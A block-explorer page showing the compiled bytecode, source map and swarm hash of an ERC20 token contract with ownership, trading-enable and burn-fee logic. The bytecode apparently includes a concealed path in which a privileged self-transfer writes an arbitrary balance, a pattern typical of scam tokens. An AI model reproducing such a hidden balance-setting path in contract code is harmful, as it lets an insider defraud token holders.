0006060848603121561122357600080fd5b61122c846111c8565b925061123a602085016111c8565b9150604084013590509250925092565b6000806040838503121561125d57600080fd5b611266836111c8565b91506020830135801515811461127b57600080fd5b809150509250929050565b60006020828403121561129857600080fd5b6106ad826111c8565b600080604083850312156112b457600080fd5b6112bd836111c8565b91506112cb602084016111c8565b90509250929050565b600181811c908216806112e857607f821691505b60208210810361130857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008282101561136b5761136b611343565b500390565b6000821982111561138357611383611343565b500190565b60008160001904831182151516156113a2576113a2611343565b500290565b6000826113c457634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203b4825da2b77463b9d4ae9454196bf8ae5220f61864d13793a3dcc7fa25b746064736f6c634300080d0033

Deployed Bytecode

0x6080604052600436106101855760003560e01c8063557ed1ba116100d1578063a457c2d71161008a578063c816841b11610064578063c816841b146104e6578063ca9ec19914610506578063dd62ed3e1461053a578063f2fde38b1461058057600080fd5b8063a457c2d714610476578063a9059cbb14610496578063c38ebac4146104b657600080fd5b8063557ed1ba146103d05780636c580801146103e357806370a08231146103f8578063715018a61461042e5780638da5cb5b1461044357806395d89b411461046157600080fd5b80632b112e491161013e578063395093511161011857806339509351146103185780633eaaf86b1461033857806342a110951461036c578063512952f0146103a057600080fd5b80632b112e49146102b5578063313ce567146102ca57806331d5c249146102f657600080fd5b806306fdde0314610191578063095ea7b3146101bc5780631694505e146101ec57806318160ddd1461022457806323b872dd1461026157806327c8f8351461028157600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66105a0565b6040516101b39190611173565b60405180910390f35b3480156101c857600080fd5b506101dc6101d73660046111e4565b610632565b60405190151581526020016101b3565b3480156101f857600080fd5b5060075461020c906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b34801561023057600080fd5b507f0000000000000000000000000000000000000000000000000de0b6b3a76400005b6040519081526020016101b3565b34801561026d57600080fd5b506101dc61027c36600461120e565b610649565b34801561028d57600080fd5b5061020c7f000000000000000000000000000000000000000000000000000000000000dead81565b3480156102c157600080fd5b506102536106b4565b3480156102d657600080fd5b50600854600160a01b900460ff1660405160ff90911681526020016101b3565b34801561030257600080fd5b5061031661031136600461124a565b61071d565b005b34801561032457600080fd5b506101dc6103333660046111e4565b61077b565b34801561034457600080fd5b506102537f0000000000000000000000000000000000000000000000000de0b6b3a764000081565b34801561037857600080fd5b506102537f000000000000000000000000000000000000000000000000000000000000000081565b3480156103ac57600080fd5b506101dc6103bb366004611286565b60066020526000908152604090205460ff1681565b3480156103dc57600080fd5b5042610253565b3480156103ef57600080fd5b506103166107b1565b34801561040457600080fd5b50610253610413366004611286565b6001600160a01b031660009081526003602052604090205490565b34801561043a57600080fd5b506103166107f0565b34801561044f57600080fd5b506000546001600160a01b031661020c565b34801561046d57600080fd5b506101a661086a565b34801561048257600080fd5b506101dc6104913660046111e4565b610879565b3480156104a257600080fd5b506101dc6104b13660046111e4565b6108c8565b3480156104c257600080fd5b506101dc6104d1366004611286565b60046020526000908152604090205460ff1681565b3480156104f257600080fd5b5060085461020c906001600160a01b031681565b34801561051257600080fd5b506102537f000000000000000000000000000000000000000000000000000000000000000081565b34801561054657600080fd5b506102536105553660046112a1565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561058c57600080fd5b5061031661059b366004611286565b6108d5565b6060600980546105af906112d4565b80601f01602080910402602001604051908101604052809291908181526020018280546105db906112d4565b80156106285780601f106105fd57610100808354040283529160200191610628565b820191906000526020600020905b81548152906001019060200180831161060b57829003601f168201915b5050505050905090565b600061063f3384846109bf565b5060015b92915050565b6000610656848484610ae3565b506106a984336106a4856040518060600160405280602881526020016113ca602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610df6565b6109bf565b5060015b9392505050565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead16600090815260036020526040812054610718907f0000000000000000000000000000000000000000000000000de0b6b3a764000090610e30565b905090565b6000546001600160a01b031633146107505760405162461bcd60e51b81526004016107479061130e565b60405180910390fd5b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161063f9185906106a49086610e72565b6000546001600160a01b031633146107db5760405162461bcd60e51b81526004016107479061130e565b6007805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461081a5760405162461bcd60e51b81526004016107479061130e565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6060600a80546105af906112d4565b600061063f33846106a4856040518060600160405280602581526020016113f2602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190610df6565b60006106a9338484610ae3565b6000546001600160a01b031633146108ff5760405162461bcd60e51b81526004016107479061130e565b6001600160a01b0381166109645760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610747565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a215760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610747565b6001600160a01b038216610a825760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610747565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526006602052604081205460ff16158015610b1a57506000546001600160a01b03858116911614155b8015610b3f57506001600160a01b03841660009081526004602052604090205460ff16155b15610b9b57600754600160a01b900460ff161515600003610b9b5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610747565b826001600160a01b0316846001600160a01b031603610bee576001600160a01b03841660009081526004602052604090205460ff1615610bee5750600082815260036020526040902081905560016106ad565b6001600160a01b038416610c525760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610747565b6001600160a01b038316610cb45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610747565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260039091529190912054610d06918490610df6565b6001600160a01b038516600090815260036020908152604080832093909355600490529081205460ff1680610d5357506001600160a01b03841660009081526004602052604090205460ff165b610d6757610d62858585610ed1565b610d69565b825b6001600160a01b038516600090815260036020526040902054909150610d8f9082610e72565b6001600160a01b0380861660008181526003602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610de39085815260200190565b60405180910390a3506001949350505050565b60008184841115610e1a5760405162461bcd60e51b81526004016107479190611173565b506000610e278486611359565b95945050505050565b60006106ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610df6565b600080610e7f8385611370565b9050838110156106ad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610747565b6001600160a01b038316600090815260066020526040812054819060ff1615610f3057610f296064610f23857f0000000000000000000000000000000000000000000000000000000000000000611086565b90611108565b9050610f83565b6001600160a01b03841660009081526006602052604090205460ff1615610f8357610f806064610f23857f0000000000000000000000000000000000000000000000000000000000000000611086565b90505b801561107c576001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead16600090815260036020526040902054610fcc9082610e72565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead811660008181526003602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110409085815260200190565b60405180910390a36040518181527f7bc024189123a7a1a3d9dfd02ddea903a7022b7461326ff2bce02e7c5a563cab9060200160405180910390a15b610e278382610e30565b60008260000361109857506000610643565b60006110a48385611388565b9050826110b185836113a7565b146106ad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610747565b60006106ad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836111665760405162461bcd60e51b81526004016107479190611173565b506000610e2784866113a7565b600060208083528351808285015260005b818110156111a057858101830151858201604001528201611184565b818111156111b2576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146111df57600080fd5b919050565b600080604083850312156111f757600080fd5b611200836111c8565b946020939093013593505050565b60008060006060848603121561122357600080fd5b61122c846111c8565b925061123a602085016111c8565b9150604084013590509250925092565b6000806040838503121561125d57600080fd5b611266836111c8565b91506020830135801515811461127b57600080fd5b809150509250929050565b60006020828403121561129857600080fd5b6106ad826111c8565b600080604083850312156112b457600080fd5b6112bd836111c8565b91506112cb602084016111c8565b90509250929050565b600181811c908216806112e857607f821691505b60208210810361130857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008282101561136b5761136b611343565b500390565b6000821982111561138357611383611343565b500190565b60008160001904831182151516156113a2576113a2611343565b500290565b6000826113c457634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203b4825da2b77463b9d4ae9454196bf8ae5220f61864d13793a3dcc7fa25b746064736f6c634300080d0033

Deployed Bytecode Sourcemap

11525:6123:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13804:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14975:161;;;;;;;;;;-1:-1:-1;14975:161:0;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;14975:161:0;1053:187:1;11886:41:0;;;;;;;;;;-1:-1:-1;11886:41:0;;;;-1:-1:-1;;;;;11886:41:0;;;;;;-1:-1:-1;;;;;1436:32:1;;;1418:51;;1406:2;1391:18;11886:41:0;1245:230:1;14081:100:0;;;;;;;;;;-1:-1:-1;14161:12:0;14081:100;;;1626:25:1;;;1614:2;1599:18;14081:100:0;1480:177:1;16022:313:0;;;;;;;;;;-1:-1:-1;16022:313:0;;;;;:::i;:::-;;:::i;12034:81::-;;;;;;;;;;;;;;;15711:128;;;;;;;;;;;;;:::i;13990:83::-;;;;;;;;;;-1:-1:-1;14056:9:0;;-1:-1:-1;;;14056:9:0;;;;13990:83;;2375:4:1;2363:17;;;2345:36;;2333:2;2318:18;13990:83:0;2203:184:1;15571:132:0;;;;;;;;;;-1:-1:-1;15571:132:0;;;;;:::i;:::-;;:::i;:::-;;14472:218;;;;;;;;;;-1:-1:-1;14472:218:0;;;;;:::i;:::-;;:::i;12122:67::-;;;;;;;;;;;;;;;12196:35;;;;;;;;;;;;;;;11827:52;;;;;;;;;;-1:-1:-1;11827:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3594:90;;;;;;;;;;-1:-1:-1;3661:15:0;3594:90;;15144:74;;;;;;;;;;;;;:::i;14189:124::-;;;;;;;;;;-1:-1:-1;14189:124:0;;;;;:::i;:::-;-1:-1:-1;;;;;14282:23:0;14255:7;14282:23;;;:14;:23;;;;;;;14189:124;3094:230;;;;;;;;;;;;;:::i;2869:79::-;;;;;;;;;;-1:-1:-1;2907:7:0;2934:6;-1:-1:-1;;;;;2934:6:0;2869:79;;13895:87;;;;;;;;;;;;;:::i;14698:269::-;;;;;;;;;;-1:-1:-1;14698:269:0;;;;;:::i;:::-;;:::i;15847:167::-;;;;;;;;;;-1:-1:-1;15847:167:0;;;;;:::i;:::-;;:::i;11699:45::-;;;;;;;;;;-1:-1:-1;11699:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11967:26;;;;;;;;;;-1:-1:-1;11967:26:0;;;;-1:-1:-1;;;;;11967:26:0;;;12238:37;;;;;;;;;;;;;;;14321:143;;;;;;;;;;-1:-1:-1;14321:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;14429:18:0;;;14402:7;14429:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;14321:143;3338:244;;;;;;;;;;-1:-1:-1;3338:244:0;;;;;:::i;:::-;;:::i;13804:83::-;13841:13;13874:5;13867:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13804:83;:::o;14975:161::-;15050:4;15067:39;873:10;15090:7;15099:6;15067:8;:39::i;:::-;-1:-1:-1;15124:4:0;14975:161;;;;;:::o;16022:313::-;16120:4;16137:36;16147:6;16155:9;16166:6;16137:9;:36::i;:::-;-1:-1:-1;16184:121:0;16193:6;873:10;16215:89;16253:6;16215:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16215:19:0;;;;;;:11;:19;;;;;;;;873:10;16215:33;;;;;;;;;;:37;:89::i;:::-;16184:8;:121::i;:::-;-1:-1:-1;16323:4:0;16022:313;;;;;;:::o;15711:128::-;-1:-1:-1;;;;;15818:11:0;14282:23;15764:7;14282:23;;;:14;:23;;;;;;15791:40;;:12;;:16;:40::i;:::-;15784:47;;15711:128;:::o;15571:132::-;3003:6;;-1:-1:-1;;;;;3003:6:0;873:10;3003:22;2995:67;;;;-1:-1:-1;;;2995:67:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;15656:28:0;;;::::1;;::::0;;;:19:::1;:28;::::0;;;;:39;;-1:-1:-1;;15656:39:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15571:132::o;14472:218::-;873:10;14560:4;14609:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;14609:34:0;;;;;;;;;;14560:4;;14577:83;;14600:7;;14609:50;;14648:10;14609:38;:50::i;15144:74::-;3003:6;;-1:-1:-1;;;;;3003:6:0;873:10;3003:22;2995:67;;;;-1:-1:-1;;;2995:67:0;;;;;;;:::i;:::-;15194:11:::1;:16:::0;;-1:-1:-1;;;;15194:16:0::1;-1:-1:-1::0;;;15194:16:0::1;::::0;;15144:74::o;3094:230::-;3003:6;;-1:-1:-1;;;;;3003:6:0;873:10;3003:22;2995:67;;;;-1:-1:-1;;;2995:67:0;;;;;;;:::i;:::-;3185:6:::1;::::0;;3164:81:::1;::::0;3201:42:::1;::::0;-1:-1:-1;;;;;3185:6:0;;::::1;::::0;3164:81:::1;::::0;::::1;3256:6;:60:::0;;-1:-1:-1;;;;;;3256:60:0::1;3273:42;3256:60;::::0;;3094:230::o;13895:87::-;13934:13;13967:7;13960:14;;;;;:::i;14698:269::-;14791:4;14808:129;873:10;14831:7;14840:96;14879:15;14840:96;;;;;;;;;;;;;;;;;873:10;14840:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;14840:34:0;;;;;;;;;;;;:38;:96::i;15847:167::-;15925:4;15942:42;873:10;15966:9;15977:6;15942:9;:42::i;3338:244::-;3003:6;;-1:-1:-1;;;;;3003:6:0;873:10;3003:22;2995:67;;;;-1:-1:-1;;;2995:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3427:22:0;::::1;3419:73;;;::::0;-1:-1:-1;;;3419:73:0;;4148:2:1;3419:73:0::1;::::0;::::1;4130:21:1::0;4187:2;4167:18;;;4160:30;4226:34;4206:18;;;4199:62;-1:-1:-1;;;4277:18:1;;;4270:36;4323:19;;3419:73:0::1;3946:402:1::0;3419:73:0::1;3529:6;::::0;;3508:38:::1;::::0;-1:-1:-1;;;;;3508:38:0;;::::1;::::0;3529:6;::::1;::::0;3508:38:::1;::::0;::::1;3557:6;:17:::0;;-1:-1:-1;;;;;;3557:17:0::1;-1:-1:-1::0;;;;;3557:17:0;;;::::1;::::0;;;::::1;::::0;;3338:244::o;15226:337::-;-1:-1:-1;;;;;15319:19:0;;15311:68;;;;-1:-1:-1;;;15311:68:0;;4555:2:1;15311:68:0;;;4537:21:1;4594:2;4574:18;;;4567:30;4633:34;4613:18;;;4606:62;-1:-1:-1;;;4684:18:1;;;4677:34;4728:19;;15311:68:0;4353:400:1;15311:68:0;-1:-1:-1;;;;;15398:21:0;;15390:68;;;;-1:-1:-1;;;15390:68:0;;4960:2:1;15390:68:0;;;4942:21:1;4999:2;4979:18;;;4972:30;5038:34;5018:18;;;5011:62;-1:-1:-1;;;5089:18:1;;;5082:32;5131:19;;15390:68:0;4758:398:1;15390:68:0;-1:-1:-1;;;;;15471:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15523:32;;1626:25:1;;;15523:32:0;;1599:18:1;15523:32:0;;;;;;;15226:337;;;:::o;16345:1255::-;-1:-1:-1;;;;;16454:30:0;;16432:4;16454:30;;;:19;:30;;;;;;;;16453:31;:52;;;;-1:-1:-1;2907:7:0;2934:6;-1:-1:-1;;;;;16488:17:0;;;2934:6;;16488:17;;16453:52;:77;;;;-1:-1:-1;;;;;;16510:20:0;;;;;;:12;:20;;;;;;;;16509:21;16453:77;16449:152;;;16554:11;;-1:-1:-1;;;16554:11:0;;;;:20;;16569:5;16554:20;16546:55;;;;-1:-1:-1;;;16546:55:0;;5363:2:1;16546:55:0;;;5345:21:1;5402:2;5382:18;;;5375:30;-1:-1:-1;;;5421:18:1;;;5414:52;5483:18;;16546:55:0;5161:346:1;16546:55:0;16638:9;-1:-1:-1;;;;;16628:19:0;:6;-1:-1:-1;;;;;16628:19:0;;16625:374;;-1:-1:-1;;;;;16666:20:0;;;;;;:12;:20;;;;;;;;16663:323;;;-1:-1:-1;16749:1:0;16742:20;;;16799:19;16795:2;16788:31;16870:2;16857:16;;16899:20;;;16965:4;16958:11;;16663:323;-1:-1:-1;;;;;17019:20:0;;17011:70;;;;-1:-1:-1;;;17011:70:0;;5714:2:1;17011:70:0;;;5696:21:1;5753:2;5733:18;;;5726:30;5792:34;5772:18;;;5765:62;-1:-1:-1;;;5843:18:1;;;5836:35;5888:19;;17011:70:0;5512:401:1;17011:70:0;-1:-1:-1;;;;;17100:23:0;;17092:71;;;;-1:-1:-1;;;17092:71:0;;6120:2:1;17092:71:0;;;6102:21:1;6159:2;6139:18;;;6132:30;6198:34;6178:18;;;6171:62;-1:-1:-1;;;6249:18:1;;;6242:33;6292:19;;17092:71:0;5918:399:1;17092:71:0;17201:58;;;;;;;;;;;-1:-1:-1;;;17201:58:0;;;;;;;;-1:-1:-1;;;;;17201:22:0;;-1:-1:-1;17201:22:0;;;:14;:22;;;;;;;;:58;;17228:6;;17201:26;:58::i;:::-;-1:-1:-1;;;;;17176:22:0;;;;;;:14;:22;;;;;;;;:83;;;;17295:12;:20;;;;;;;;;:47;;-1:-1:-1;;;;;;17319:23:0;;;;;;:12;:23;;;;;;;;17295:47;17294:133;;17397:30;17401:6;17409:9;17420:6;17397:3;:30::i;:::-;17294:133;;;17388:6;17294:133;-1:-1:-1;;;;;17470:25:0;;;;;;:14;:25;;;;;;17272:155;;-1:-1:-1;17470:42:0;;17272:155;17470:29;:42::i;:::-;-1:-1:-1;;;;;17442:25:0;;;;;;;:14;:25;;;;;;;:70;;;;17530:40;;;;;;;;;;17558:11;1626:25:1;;1614:2;1599:18;;1480:177;17530:40:0;;;;;;;;-1:-1:-1;17588:4:0;;16345:1255;-1:-1:-1;;;;16345:1255:0:o;1380:192::-;1466:7;1502:12;1494:6;;;;1486:29;;;;-1:-1:-1;;;1486:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1526:9:0;1538:5;1542:1;1538;:5;:::i;:::-;1526:17;1380:192;-1:-1:-1;;;;;1380:192:0:o;1236:136::-;1294:7;1321:43;1325:1;1328;1321:43;;;;;;;;;;;;;;;;;:3;:43::i;1047:181::-;1105:7;;1137:5;1141:1;1137;:5;:::i;:::-;1125:17;;1166:1;1161;:6;;1153:46;;;;-1:-1:-1;;;1153:46:0;;6919:2:1;1153:46:0;;;6901:21:1;6958:2;6938:18;;;6931:30;6997:29;6977:18;;;6970:57;7044:18;;1153:46:0;6717:351:1;13151:645:0;-1:-1:-1;;;;;13294:22:0;;13220:7;13294:22;;;:19;:22;;;;;;13220:7;;13294:22;;13291:203;;;13344:28;13368:3;13344:19;:6;13355:7;13344:10;:19::i;:::-;:23;;:28::i;:::-;13333:39;;13291:203;;;-1:-1:-1;;;;;13403:22:0;;;;;;:19;:22;;;;;;;;13400:94;;;13453:29;13478:3;13453:20;:6;13464:8;13453:10;:20::i;:29::-;13442:40;;13400:94;13517:12;;13514:235;;-1:-1:-1;;;;;13608:11:0;13585:36;;;;;:14;:36;;;;;;:50;;13626:8;13585:40;:50::i;:::-;-1:-1:-1;;;;;13569:11:0;13546:36;;;;;;:14;:36;;;;;;;:89;;;;13655:43;;;;;;;;;;13689:8;1626:25:1;;1614:2;1599:18;;1480:177;13655:43:0;;;;;;;;13718:19;;1626:25:1;;;13718:19:0;;1614:2:1;1599:18;13718:19:0;;;;;;;13514:235;13768:20;:6;13779:8;13768:10;:20::i;1580:250::-;1638:7;1662:1;1667;1662:6;1658:47;;-1:-1:-1;1692:1:0;1685:8;;1658:47;1717:9;1729:5;1733:1;1729;:5;:::i;:::-;1717:17;-1:-1:-1;1762:1:0;1753:5;1757:1;1717:17;1753:5;:::i;:::-;:10;1745:56;;;;-1:-1:-1;;;1745:56:0;;7670:2:1;1745:56:0;;;7652:21:1;7709:2;7689:18;;;7682:30;7748:34;7728:18;;;7721:62;-1:-1:-1;;;7799:18:1;;;7792:31;7840:19;;1745:56:0;7468:397:1;1838:132:0;1896:7;1923:39;1927:1;1930;1923:39;;;;;;;;;;;;;;;;;2064:7;2099:12;2092:5;2084:28;;;;-1:-1:-1;;;2084:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2123:9:0;2135:5;2139:1;2135;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1662:328::-;1739:6;1747;1755;1808:2;1796:9;1787:7;1783:23;1779:32;1776:52;;;1824:1;1821;1814:12;1776:52;1847:29;1866:9;1847:29;:::i;:::-;1837:39;;1895:38;1929:2;1918:9;1914:18;1895:38;:::i;:::-;1885:48;;1980:2;1969:9;1965:18;1952:32;1942:42;;1662:328;;;;;:::o;2392:347::-;2457:6;2465;2518:2;2506:9;2497:7;2493:23;2489:32;2486:52;;;2534:1;2531;2524:12;2486:52;2557:29;2576:9;2557:29;:::i;:::-;2547:39;;2636:2;2625:9;2621:18;2608:32;2683:5;2676:13;2669:21;2662:5;2659:32;2649:60;;2705:1;2702;2695:12;2649:60;2728:5;2718:15;;;2392:347;;;;;:::o;2744:186::-;2803:6;2856:2;2844:9;2835:7;2831:23;2827:32;2824:52;;;2872:1;2869;2862:12;2824:52;2895:29;2914:9;2895:29;:::i;2935:260::-;3003:6;3011;3064:2;3052:9;3043:7;3039:23;3035:32;3032:52;;;3080:1;3077;3070:12;3032:52;3103:29;3122:9;3103:29;:::i;:::-;3093:39;;3151:38;3185:2;3174:9;3170:18;3151:38;:::i;:::-;3141:48;;2935:260;;;;;:::o;3200:380::-;3279:1;3275:12;;;;3322;;;3343:61;;3397:4;3389:6;3385:17;3375:27;;3343:61;3450:2;3442:6;3439:14;3419:18;3416:38;3413:161;;3496:10;3491:3;3487:20;3484:1;3477:31;3531:4;3528:1;3521:15;3559:4;3556:1;3549:15;3413:161;;3200:380;;;:::o;3585:356::-;3787:2;3769:21;;;3806:18;;;3799:30;3865:34;3860:2;3845:18;;3838:62;3932:2;3917:18;;3585:356::o;6322:127::-;6383:10;6378:3;6374:20;6371:1;6364:31;6414:4;6411:1;6404:15;6438:4;6435:1;6428:15;6454:125;6494:4;6522:1;6519;6516:8;6513:34;;;6527:18;;:::i;:::-;-1:-1:-1;6564:9:1;;6454:125::o;6584:128::-;6624:3;6655:1;6651:6;6648:1;6645:13;6642:39;;;6661:18;;:::i;:::-;-1:-1:-1;6697:9:1;;6584:128::o;7073:168::-;7113:7;7179:1;7175;7171:6;7167:14;7164:1;7161:21;7156:1;7149:9;7142:17;7138:45;7135:71;;;7186:18;;:::i;:::-;-1:-1:-1;7226:9:1;;7073:168::o;7246:217::-;7286:1;7312;7302:132;;7356:10;7351:3;7347:20;7344:1;7337:31;7391:4;7388:1;7381:15;7419:4;7416:1;7409:15;7302:132;-1:-1:-1;7448:9:1;;7246:217::o

Swarm Source

ipfs://3b4825da2b77463b9d4ae9454196bf8ae5220f61864d13793a3dcc7fa25b7460
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.